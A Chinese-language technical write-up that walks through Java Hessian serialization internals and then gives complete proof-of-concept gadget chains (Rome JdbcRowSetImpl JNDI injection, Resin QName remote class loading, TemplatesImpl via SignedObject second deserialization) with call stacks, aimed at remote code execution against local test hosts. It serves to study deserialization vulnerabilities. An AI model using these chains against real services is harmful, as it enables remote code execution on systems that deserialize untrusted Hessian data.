Hessian反序列化

序列化

HessianOutput 和 Hessian2Output 都是抽象类 AbstractHessianOutput 的实现,二者的 writeObject 方法一致,根据传入的 object 的类型,获取对应需要的序列化器,调用序列化器的 writeObject 方法序列化数据。代码如下

1
2
3
4
5
6
7
8
public void writeObject(Object object) throws IOException {
    if (object == null) {
        this.writeNull();
    } else {
        Serializer serializer = this.findSerializerFactory().getObjectSerializer(object.getClass());
        serializer.writeObject(object, this);
    }
}

跟进 getObjectSerializer

1
2
3
4
public Serializer getObjectSerializer(Class<?> cl) throws HessianProtocolException {
    Serializer serializer = this.getSerializer(cl);
    return serializer instanceof ObjectSerializer ? ((ObjectSerializer)serializer).getObjectSerializer() : serializer;
}

跟进 getSerializer

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
public Serializer getSerializer(Class cl) throws HessianProtocolException {
    if (this._cachedSerializerMap != null) {
        Serializer serializer = (Serializer)this._cachedSerializerMap.get(cl);
        if (serializer != null) {
            return serializer;
        }
    }

    Serializer serializer = this.loadSerializer(cl);
    if (this._cachedSerializerMap == null) {
        this._cachedSerializerMap = new ConcurrentHashMap(8);
    }

    this._cachedSerializerMap.put(cl, serializer);
    return serializer;
}

接着跟进 loadSerializer

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
    protected Serializer loadSerializer(Class<?> cl) throws HessianProtocolException {
        Serializer serializer = null;

        for(int i = 0; this._factories != null && i < this._factories.size(); ++i) {
            AbstractSerializerFactory factory = (AbstractSerializerFactory)this._factories.get(i);
            serializer = factory.getSerializer(cl);
            if (serializer != null) {
                return serializer;
            }
        }

        serializer = this._contextFactory.getSerializer(cl.getName());
        if (serializer != null) {
            return serializer;
        } else {
            ClassLoader loader = cl.getClassLoader();
            if (loader == null) {
                loader = _systemClassLoader;
            }

            ContextSerializerFactory factory = null;
            factory = ContextSerializerFactory.create(loader);
            serializer = factory.getCustomSerializer(cl);
            if (serializer != null) {
                return serializer;
            } else if (HessianRemoteObject.class.isAssignableFrom(cl)) {
                return new RemoteSerializer();
            } else if (BurlapRemoteObject.class.isAssignableFrom(cl)) {
                return new RemoteSerializer();
            } else if (InetAddress.class.isAssignableFrom(cl)) {
                return InetAddressSerializer.create();
            } else if (JavaSerializer.getWriteReplace(cl) != null) {
                Serializer baseSerializer = this.getDefaultSerializer(cl);
                return new WriteReplaceSerializer(cl, this.getClassLoader(), baseSerializer);
            } else if (Map.class.isAssignableFrom(cl)) {
                if (this._mapSerializer == null) {
                    this._mapSerializer = new MapSerializer();
                }

                return this._mapSerializer;
            } else if (Collection.class.isAssignableFrom(cl)) {
                if (this._collectionSerializer == null) {
                    this._collectionSerializer = new CollectionSerializer();
                }

                return this._collectionSerializer;
            } else if (cl.isArray()) {
                return new ArraySerializer();
            } else if (Throwable.class.isAssignableFrom(cl)) {
                return new ThrowableSerializer(this.getDefaultSerializer(cl));
            } else if (InputStream.class.isAssignableFrom(cl)) {
                return new InputStreamSerializer();
            } else if (Iterator.class.isAssignableFrom(cl)) {
                return IteratorSerializer.create();
            } else if (Calendar.class.isAssignableFrom(cl)) {
                return CalendarSerializer.SER;
            } else if (Enumeration.class.isAssignableFrom(cl)) {
                return EnumerationSerializer.create();
            } else if (Enum.class.isAssignableFrom(cl)) {
                return new EnumSerializer(cl);
            } else {
                return (Serializer)(Annotation.class.isAssignableFrom(cl) ? new AnnotationSerializer(cl) : this.getDefaultSerializer(cl));
            }
        }
    }

判断当前传入的Object是否属于某些已定义好的接口。如果存在,就生成对应的序列化器,如果不存在,就调用com.caucho.hessian.io.SerializerFactory#getDefaultSerializer方法针对自定义类加载默认的序列化器。现在我们去查找继承自 AbstractSerializer 的类

img

可能是我依赖整多了,有 28 个序列化器,跟进SerializerFactory#getDefaultSerializer

1
2
3
4
5
6
7
8
9
protected Serializer getDefaultSerializer(Class cl) {
    if (this._defaultSerializer != null) {
        return this._defaultSerializer;
    } else if (!Serializable.class.isAssignableFrom(cl) && !this._isAllowNonSerializable) {
        throw new IllegalStateException("Serialized class " + cl.getName() + " must implement java.io.Serializable");
    } else {
        return (Serializer)(this._isEnableUnsafeSerializer && JavaSerializer.getWriteReplace(cl) == null ? UnsafeSerializer.create(cl) : JavaSerializer.create(cl));
    }
}

可以看到在默认情况下如果_isEnableUnsafeSerializer属性为true,并且传入的cl没有writeReplace方法,那么最后会创造一个UnsafeSerializer来作为序列化器。

继续跟进UnsafeSerializer#writeObject

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
public void writeObject(Object obj, AbstractHessianOutput out) throws IOException {
        if (!out.addRef(obj)) {
            Class<?> cl = obj.getClass();
            int ref = out.writeObjectBegin(cl.getName());
            if (ref >= 0) {
                this.writeInstance(obj, out);
            } else if (ref == -1) {
                this.writeDefinition20(out);
                out.writeObjectBegin(cl.getName());
                this.writeInstance(obj, out);
            } else {
                this.writeObject10(obj, out);
            }

        }
    }

它会调用 writeObjectBegin 方法,然后根据 ref 进行下一步操作,而接下来就是 hessian 和 hessian2 的不同之处了,HessianOutput会直接调用父类的AbstractHessianOutput#writeObjectBegin方法,调试下发现直接写入77作为Map的标志,固定返回-2赋值给writeObject方法

1
2
3
4
    public int writeObjectBegin(String type) throws IOException {
        this.writeMapBegin(type);
        return -2;
    }

去调用UnsafeSerializer#writeObject10方法,来逐个对字段进行序列化。并已writeMapEnd作为收尾。

1
2
3
4
5
6
7
8
9
protected void writeObject10(Object obj, AbstractHessianOutput out) throws IOException {
        for(int i = 0; i < this._fields.length; ++i) {
            Field field = this._fields[i];
            out.writeString(field.getName());
            this._fieldSerializers[i].serialize(out, obj);
        }

        out.writeMapEnd();
    }

但是 Hessian2Output 重写了 writeObjectBegin 方法,跟进

img

可以写自定义类型的数据,返回ref为-1。调用 writeDefinition20Hessian2Output#writeObjectBegin 方法写入自定义数据,不将其标记为 Map 类型。

总的来说

  • HessianOutput 在序列化的过程中默认将序列化结果处理成一个 Map
  • Hessian2Output 在序列化的过程中可以序列化自定义的类

反序列化

hessian

跟进HessianInput#readObject,由于默认是将序列化结果处理成一个 Map 所以反序列化是直接到这里

img

接着跟进SerializerFactory#readMap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
public Object readMap(AbstractHessianInput in, String type) throws HessianProtocolException, IOException {
    Deserializer deserializer = this.getDeserializer(type);
    if (deserializer != null) {
        return deserializer.readMap(in);
    } else if (this._hashMapDeserializer != null) {
        return this._hashMapDeserializer.readMap(in);
    } else {
        this._hashMapDeserializer = new MapDeserializer(HashMap.class);
        return this._hashMapDeserializer.readMap(in);
    }
}

先获取反序列化器,然后再根据是否_hashMapDeserializer这个属性来触发,一般的都会到MapDeserializer#readMap,跟进SerializerFactory#getDeserializer

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public Deserializer getDeserializer(String type) throws HessianProtocolException {
        if (type != null && !type.equals("")) {
            if (this._cachedTypeDeserializerMap != null) {
                Deserializer deserializer;
                synchronized(this._cachedTypeDeserializerMap) {
                    deserializer = (Deserializer)this._cachedTypeDeserializerMap.get(type);
                }

                if (deserializer != null) {
                    return deserializer;
                }
            }

            Deserializer deserializer = (Deserializer)_staticTypeMap.get(type);
            if (deserializer != null) {
                return deserializer;
            } else {
                if (type.startsWith("[")) {
                    Deserializer subDeserializer = this.getDeserializer(type.substring(1));
                    if (subDeserializer != null) {
                        deserializer = new ArrayDeserializer(subDeserializer.getType());
                    } else {
                        deserializer = new ArrayDeserializer(Object.class);
                    }
                } else {
                    try {
                        Class cl = this.loadSerializedClass(type);
                        deserializer = this.getDeserializer(cl);
                    } catch (Exception e) {
                        log.warning("Hessian/Burlap: '" + type + "' is an unknown class in " + this.getClassLoader() + ":\n" + e);
                        log.log(Level.FINER, e.toString(), e);
                    }
                }

                if (deserializer != null) {
                    if (this._cachedTypeDeserializerMap == null) {
                        this._cachedTypeDeserializerMap = new HashMap(8);
                    }

                    synchronized(this._cachedTypeDeserializerMap) {
                        this._cachedTypeDeserializerMap.put(type, deserializer);
                    }
                }

                return deserializer;
            }
        } else {
            return null;
        }
    }

首先如果类型为空或空字符串直接返回 null,如果不为空,则进一步先检查本地缓存 _cachedTypeDeserializerMap,接着是数组型反序列化器,普通类会加载类并获取其反序列化器,还有就是缓存新建反序列化器,一般是加载类然后获取反序列化器。跟进SerializerFactory#loadSerializedClass

img

继续跟进,属于是直接反射了一下

img

跟进SerializerFactory#getDeserializer

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
public Deserializer getDeserializer(Class cl) throws HessianProtocolException {
    if (this._cachedDeserializerMap != null) {
        Deserializer deserializer = (Deserializer)this._cachedDeserializerMap.get(cl);
        if (deserializer != null) {
            return deserializer;
        }
    }

    Deserializer deserializer = this.loadDeserializer(cl);
    if (this._cachedDeserializerMap == null) {
        this._cachedDeserializerMap = new ConcurrentHashMap(8);
    }

    this._cachedDeserializerMap.put(cl, deserializer);
    return deserializer;
}

继续跟进SerializerFactory#loadDeserializer

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
protected Deserializer loadDeserializer(Class cl) throws HessianProtocolException {
        Deserializer deserializer = null;

        for(int i = 0; deserializer == null && this._factories != null && i < this._factories.size(); ++i) {
            AbstractSerializerFactory factory = (AbstractSerializerFactory)this._factories.get(i);
            deserializer = factory.getDeserializer(cl);
        }

        if (deserializer != null) {
            return deserializer;
        } else {
            deserializer = this._contextFactory.getDeserializer(cl.getName());
            if (deserializer != null) {
                return deserializer;
            } else {
                ContextSerializerFactory factory = null;
                if (cl.getClassLoader() != null) {
                    factory = ContextSerializerFactory.create(cl.getClassLoader());
                } else {
                    factory = ContextSerializerFactory.create(_systemClassLoader);
                }

                deserializer = factory.getDeserializer(cl.getName());
                if (deserializer != null) {
                    return deserializer;
                } else {
                    deserializer = factory.getCustomDeserializer(cl);
                    if (deserializer != null) {
                        return deserializer;
                    } else {
                        if (Collection.class.isAssignableFrom(cl)) {
                            deserializer = new CollectionDeserializer(cl);
                        } else if (Map.class.isAssignableFrom(cl)) {
                            deserializer = new MapDeserializer(cl);
                        } else if (Iterator.class.isAssignableFrom(cl)) {
                            deserializer = IteratorDeserializer.create();
                        } else if (Annotation.class.isAssignableFrom(cl)) {
                            deserializer = new AnnotationDeserializer(cl);
                        } else if (cl.isInterface()) {
                            deserializer = new ObjectDeserializer(cl);
                        } else if (cl.isArray()) {
                            deserializer = new ArrayDeserializer(cl.getComponentType());
                        } else if (Enumeration.class.isAssignableFrom(cl)) {
                            deserializer = EnumerationDeserializer.create();
                        } else if (Enum.class.isAssignableFrom(cl)) {
                            deserializer = new EnumDeserializer(cl);
                        } else if (Class.class.equals(cl)) {
                            deserializer = new ClassDeserializer(this.getClassLoader());
                        } else {
                            deserializer = this.getDefaultDeserializer(cl);
                        }

                        return deserializer;
                    }
                }
            }
        }
    }

加载默认的自定义类,但是由于 hessian1 默认序列化为 Map,所以这里返回为 MapDeserializer。

hessian2

hessian2 和 hessian1基本一致,可以看到与序列化过程中获取加载器的流程相近,在最后的SerializerFactory#getDefaultDeserializer

1
2
3
4
5
6
7
protected Deserializer getDefaultDeserializer(Class cl) {
    if (InputStream.class.equals(cl)) {
        return InputStreamDeserializer.DESER;
    } else {
        return (Deserializer)(this._isEnableUnsafeSerializer ? new UnsafeDeserializer(cl, this._fieldDeserializerFactory) : new JavaDeserializer(cl, this._fieldDeserializerFactory));
    }
}

会返回一个 UnsafeDeserializer,接着跟进到他的 readMap 方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
public Object readMap(AbstractHessianInput in) throws IOException {
    try {
        Object obj = this.instantiate();
        return this.readMap(in, obj);
    } catch (IOException e) {
        throw e;
    } catch (RuntimeException e) {
        throw e;
    } catch (Exception e) {
        throw new IOExceptionWrapper(this._type.getName() + ":" + e.getMessage(), e);
    }
}

跟进 instantiate 方法

1
2
3
    protected Object instantiate() throws Exception {
        return _unsafe.allocateInstance(this._type);
    }

绕过构造方法直接实例化对象

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public Object readMap(AbstractHessianInput in, Object obj) throws IOException {
        try {
            int ref = in.addRef(obj);

            while(!in.isEnd()) {
                Object key = in.readObject();
                FieldDeserializer2 deser = (FieldDeserializer2)this._fieldMap.get(key);
                if (deser != null) {
                    deser.deserialize(in, obj);
                } else {
                    in.readObject();
                }
            }

            in.readMapEnd();
            Object resolve = this.resolve(in, obj);
            if (obj != resolve) {
                in.setRef(ref, resolve);
            }

            return resolve;
        } catch (IOException e) {
            throw e;
        } catch (Exception e) {
            throw new IOExceptionWrapper(e);
        }
    }

对象引用注册,然后再循环读取键值对,收尾之后再更新引用表。

MapDeserializer

img

前面提到过获取反序列化器之后都是触发的 readMap 方法,现在来看看MapDeserializer#readMap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public Object readMap(AbstractHessianInput in) throws IOException {
        Map map;
        if (this._type == null) {
            map = new HashMap();
        } else if (this._type.equals(Map.class)) {
            map = new HashMap();
        } else if (this._type.equals(SortedMap.class)) {
            map = new TreeMap();
        } else {
            try {
                map = (Map)this._ctor.newInstance();
            } catch (Exception e) {
                throw new IOExceptionWrapper(e);
            }
        }

        in.addRef(map);

        while(!in.isEnd()) {
            map.put(in.readObject(), in.readObject());
        }

        in.readEnd();
        return map;
    }

默认HashMap,如果明确是Map.class,则为HashMap,明确是SortedMap.class则为TreeMap,而触发他们的 put 方法

  • 对于HashMap会触发key.hashCode()key.equals(k)
  • 对于TreeMap会触发key.compareTo()

gadget

最后我们知道了MapDeserializer#readMap之后,其实就只需要找后半段链子,因为 hessian 在反序列化的时候会自动调用map.put

Rome–JdbcRowSetImpl

Rome 反序列化中的 JdbcRowSetImpl 链就是通过ObjectBean#hashCode去触发后续反序列化打 JNDI 注入,但是直接写发现并没成功,debug 发现因为 getDatabaseMetaData 方法在第四位

img

但是在第三位反射 setMatchColumn 方法的时候就抛出了错误

img

img

跟进 setMatchColumn

1
2
3
4
5
6
7
    public void setMatchColumn(String var1) throws SQLException {
        if (var1 != null && !(var1 = var1.trim()).equals("")) {
            this.strMatchColumns.set(0, var1);
        } else {
            throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.matchcols2").toString());
        }
    }

不赋值就会抛出错误,最终 poc 如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package org.hessian.gadget;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.sql.rowset.BaseRowSet;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;

public class JdbcRowSetImplPoc {
    public static void main(String[] args) throws Exception{
        String url = "ldap://127.0.0.1:1389/#Eval";

        JdbcRowSetImpl jdbcRowset = new JdbcRowSetImpl();
        jdbcRowset.setMatchColumn("test");

        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowset);
        ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);

        HashMap hashMap = new HashMap();
        hashMap.put(objectBean, "bbbb");

        Field dataSource = BaseRowSet.class.getDeclaredField("dataSource");
        dataSource.setAccessible(true);
        dataSource.set(jdbcRowset, url);

        byte[] data=serialize(hashMap);
        unserialize(data);
    }

    private static byte[] serialize(Object obj) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output hessianOutput = new Hessian2Output(baos);
        hessianOutput.writeObject(obj);
        hessianOutput.close();
        return baos.toByteArray();
    }

    private static Object unserialize(byte[] bytes) throws Exception {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        Hessian2Input hessianInput = new Hessian2Input(bais);
        return hessianInput.readObject();
    }
}

调用栈如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
at com.sun.rowset.JdbcRowSetImpl.connect(JdbcRowSetImpl.java:615)
at com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData(JdbcRowSetImpl.java:4004)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at com.sun.syndication.feed.impl.ToStringBean.toString(ToStringBean.java:137)
at com.sun.syndication.feed.impl.ToStringBean.toString(ToStringBean.java:116)
at com.sun.syndication.feed.impl.EqualsBean.beanHashCode(EqualsBean.java:193)
at com.sun.syndication.feed.impl.ObjectBean.hashCode(ObjectBean.java:110)
at java.util.HashMap.hash(HashMap.java:338)
at java.util.HashMap.put(HashMap.java:611)
at com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:114)
at com.caucho.hessian.io.SerializerFactory.readMap(SerializerFactory.java:577)
at com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2093)
at org.hessian.base.JdbcRowSetImplPoc.unserialize(JdbcRowSetImplPoc.java:46)
at org.hessian.base.JdbcRowSetImplPoc.main(JdbcRowSetImplPoc.java:32)

Resin–Qname

resin Qname 的这条链子直接可以用的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
package org.hessian.gadget;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;

import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.Reference;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Hashtable;

public class resinQnamePoc {
    public static void main(String[] args) throws Exception {
        Reference refObj = new Reference("Eval","Eval","http://127.0.0.1:8000/");
        Class<?> clazz = Class.forName("javax.naming.spi.ContinuationContext");
        Constructor<?> constructor = clazz.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
        constructor.setAccessible(true);

        CannotProceedException cpe = new CannotProceedException();
        cpe.setResolvedObj(refObj);

        Hashtable<?, ?> hashtable = new Hashtable<>();
        Context continuationContext = (Context) constructor.newInstance(cpe, hashtable);
        QName qname = new QName(continuationContext,"aaa","bbb");

        String unhash = unhash(qname.hashCode());
        XString xstring = new XString(unhash);

        HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();
        map1.put("yy", xstring);
        map1.put("zZ", qname);
        map2.put("zZ", xstring);
        map2.put("yy", qname);
        Hashtable table = new Hashtable();
        table.put(map1, "1");
        table.put(map2, "2");

        byte[] payload = Hessian2_serialize(table);
        Hessian2_unserialize(payload);
    }

    public static String unhash ( int hash ) {
        int target = hash;
        StringBuilder answer = new StringBuilder();
        if ( target < 0 ) {
            answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");

            if ( target == Integer.MIN_VALUE )
                return answer.toString();
            target = target & Integer.MAX_VALUE;
        }

        unhash0(answer, target);
        return answer.toString();
    }


    private static void unhash0 ( StringBuilder partial, int target ) {
        int div = target / 31;
        int rem = target % 31;

        if ( div <= Character.MAX_VALUE ) {
            if ( div != 0 )
                partial.append((char) div);
            partial.append((char) rem);
        }
        else {
            unhash0(partial, div);
            partial.append((char) rem);
        }
    }

    public static byte[] Hessian2_serialize(Object o) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(baos);
        hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
        hessian2Output.writeObject(o);
        hessian2Output.flush();
        return baos.toByteArray();
    }

    public static Object Hessian2_unserialize(byte[] bytes) throws IOException {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        Hessian2Input hessian2Input = new Hessian2Input(bais);
        Object o = hessian2Input.readObject();
        return o;
    }
}

调用栈

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
at Eval.<clinit>(Eval.java:12)
at java.lang.Class.forName0(Class.java:-1)
at java.lang.Class.forName(Class.java:348)
at com.sun.naming.internal.VersionHelper12.loadClass(VersionHelper12.java:72)
at com.sun.naming.internal.VersionHelper12.loadClass(VersionHelper12.java:87)
at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:158)
at javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:319)
at javax.naming.spi.NamingManager.getContext(NamingManager.java:439)
at javax.naming.spi.ContinuationContext.getTargetContext(ContinuationContext.java:55)
at javax.naming.spi.ContinuationContext.composeName(ContinuationContext.java:180)
at com.caucho.naming.QName.toString(QName.java:353)
at com.sun.org.apache.xpath.internal.objects.XString.equals(XString.java:392)
at java.util.AbstractMap.equals(AbstractMap.java:472)
at java.util.Hashtable.put(Hashtable.java:469)
at com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:114)
at com.caucho.hessian.io.SerializerFactory.readMap(SerializerFactory.java:571)
at com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2100)
at org.example.resin.resinQnamePoc.Hessian2_unserialize(resinQnamePoc.java:92)
at org.example.resin.resinQnamePoc.main(resinQnamePoc.java:46)

TemplatesImpl && SignedObject

同时想到可以继续用 Rome 里面的 gadget,其中利用反序列化利用链来进行加载字节码达到RCE,但是没成功弹出计算器,debug 发现依旧是在这里报错了

img

跟踪报错栈帧

img

img

img

发现此时的_tfactory没有被反序列化赋值,为null,从而报错空指针。重新 debug 看看

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
protected HashMap<String, FieldDeserializer2> getFieldMap(Class<?> cl, FieldDeserializer2Factory fieldFactory) {
        HashMap<String, FieldDeserializer2> fieldMap;
        for(fieldMap = new HashMap(); cl != null; cl = cl.getSuperclass()) {
            Field[] fields = cl.getDeclaredFields();

            for(int i = 0; i < fields.length; ++i) {
                Field field = fields[i];
                if (!Modifier.isTransient(field.getModifiers()) && !Modifier.isStatic(field.getModifiers()) && fieldMap.get(field.getName()) == null) {
                    FieldDeserializer2 deser = fieldFactory.create(field);
                    fieldMap.put(field.getName(), deser);
                }
            }
        }

        return fieldMap;
    }

如果是 Transient\Static 修饰的就不处理,所以序列化就没成功,而_tfactory恰好为transient类型所修饰,因此无法被反序列化。

1
private transient TransformerFactoryImpl _tfactory = null;

如何解决这个问题呢,很简单,二次反序列化即可,写出如下 poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package org.hessian.gadget;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.LinkedHashMap;
import java.util.Map;

public class romeTemplates {
    public static void main(String[] args) throws Exception{
        TemplatesImpl harmlessTemplates = new TemplatesImpl();

        setFieldValue(harmlessTemplates, "_bytecodes", new byte[][]{ClassPool.getDefault().get(org.hessian.base.Evil.class.getName()).toBytecode()});
        setFieldValue(harmlessTemplates, "_name", "Pwnr");
        setFieldValue(harmlessTemplates, "_tfactory", new TransformerFactoryImpl());

        ToStringBean toStringBean = new ToStringBean(Templates.class,harmlessTemplates);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

        Map<Serializable, Serializable> innerMap = new HashMap<>();
        innerMap.put(equalsBean, "123");

        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject((Serializable) innerMap, kp.getPrivate(), Signature.getInstance("DSA"));


        byte[] data=serialize(signedObject);
        unserialize(data);
    }
    private static void setFieldValue(Object obj, String field, Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, value);
    }

    private static byte[] serialize(Object obj) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(baos);
        hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
        hessian2Output.writeObject(obj);
        hessian2Output.flush();
        return baos.toByteArray();
    }

    private static Object unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        Hessian2Input hessianInput = new Hessian2Input(bais);
        return hessianInput.readObject();
    }
}

并没有成功,debug 发现由于最外层是个 SignedObject,所以 tag 不是 77,走的也就不是之前的链路了,因此我们需要自己加个入口,这里选择使用 BadAttributeValueExpException 类这样就能正常触发到 readMap 方法

img

最终 poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package org.hessian.gadget;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.HashMap;
import java.util.Map;

public class romeTemplates {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();

        setFieldValue(templates, "_bytecodes", new byte[][]{ClassPool.getDefault().get(org.hessian.base.Evil.class.getName()).toBytecode()});
        setFieldValue(templates, "_name", "Pwnr");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        ToStringBean toStringBean1 = new ToStringBean(Templates.class, templates);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
        setFieldValue(badAttributeValueExpException,"val",toStringBean1);

        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(badAttributeValueExpException, kp.getPrivate(), Signature.getInstance("DSA"));

        ToStringBean toStringBean2 = new ToStringBean(SignedObject.class,signedObject);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean2);

        Map<Serializable, Serializable> innerMap = new HashMap<>();
        innerMap.put(equalsBean, "123");


        byte[] data=serialize(innerMap);
        unserialize(data);
    }
    private static void setFieldValue(Object obj, String field, Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, value);
    }

    private static byte[] serialize(Object obj) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(baos);
        hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
        hessian2Output.writeObject(obj);
        hessian2Output.flush();
        return baos.toByteArray();
    }

    private static Object unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        Hessian2Input hessianInput = new Hessian2Input(bais);
        return hessianInput.readObject();
    }
}

调用栈如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:507)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at com.sun.syndication.feed.impl.ToStringBean.toString(ToStringBean.java:137)
at com.sun.syndication.feed.impl.ToStringBean.toString(ToStringBean.java:116)
